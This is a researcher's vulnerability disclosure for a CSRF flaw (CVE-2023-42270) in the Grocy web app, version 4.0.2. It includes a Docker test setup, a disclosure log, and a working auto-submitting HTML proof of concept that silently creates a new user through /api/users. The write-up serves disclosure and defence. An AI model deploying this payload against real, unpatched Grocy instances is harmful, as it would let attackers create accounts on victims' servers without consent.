CVE-2023-42270 - Grocy <= 4.0.2 CSRF Vulnerability⌗

During a review of the Grocy Webapp (Version 4.0.2), I discovered that the application would make requests using JSON formatting when creating a new user. By changing the Content-Type to x-www-form-urlencoded, I noticed that I was able to create a new user by making a request via Burp Suite without interacting with the page. Additionally, no CSRF token was required to do so. This has the potential to allow an attacker to create a new user via a XSS exploit from another site or through a phishing campaign.

Proof of Concept⌗

I started with pulling Grocy from their GitHub page and spinning it up with docker using the following commands:

docker run -d \
  --name=grocy \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -p 9283:80 \
  -v /path/to/data:/config \
  --restart unless-stopped \
  lscr.io/linuxserver/grocy:latest

sudo docker start grocy

I then logged into the application as admin:admin to simulate the administrator being logged into the application.

In order for this to be effective, two variables must be satisfied prior to the attack:

  1. The victim must be logged into Grocy at the time of the attack
  2. The victim must have Create User permissions enabled Note: This is enabled by default

Host the following code on an attacker controlled web address:

CSRF-Payload.html

<html>
<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
<input name='username' value='hacker' type='hidden'>
<input name='password' value='test' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('','', '/');
document.forms[0].submit();
</script>
</html>

If a user is logged into the grocy webapp and has the permissions to create new users at the time of being redirected to the above hosted code, a new user will be created with a username: hacker and password: test.

This can be seen in action in the gif shown below: Grocy-CSRF

Impact⌗

Assuming the Grocery Administrator is currently logged into their Grocy account, an attacker could create an admin account on the behalf of the Grocy Administrator.

Resolution⌗

Currently no resolution. Vendor has been made away of the situation and refuses to patch the application

Testing Setup⌗

  • Grocy Version 4.0.2
  • Firefox 102.10.0
  • Default Configuration on all products

Discloser Log⌗

8/31/2023 ~2:00 PM ~ Emailed Grocy for Security Disclosure.
8/31/2023 ~4:00 PM ~ Vendor responded and refuses to fix the issue but has allowed publication.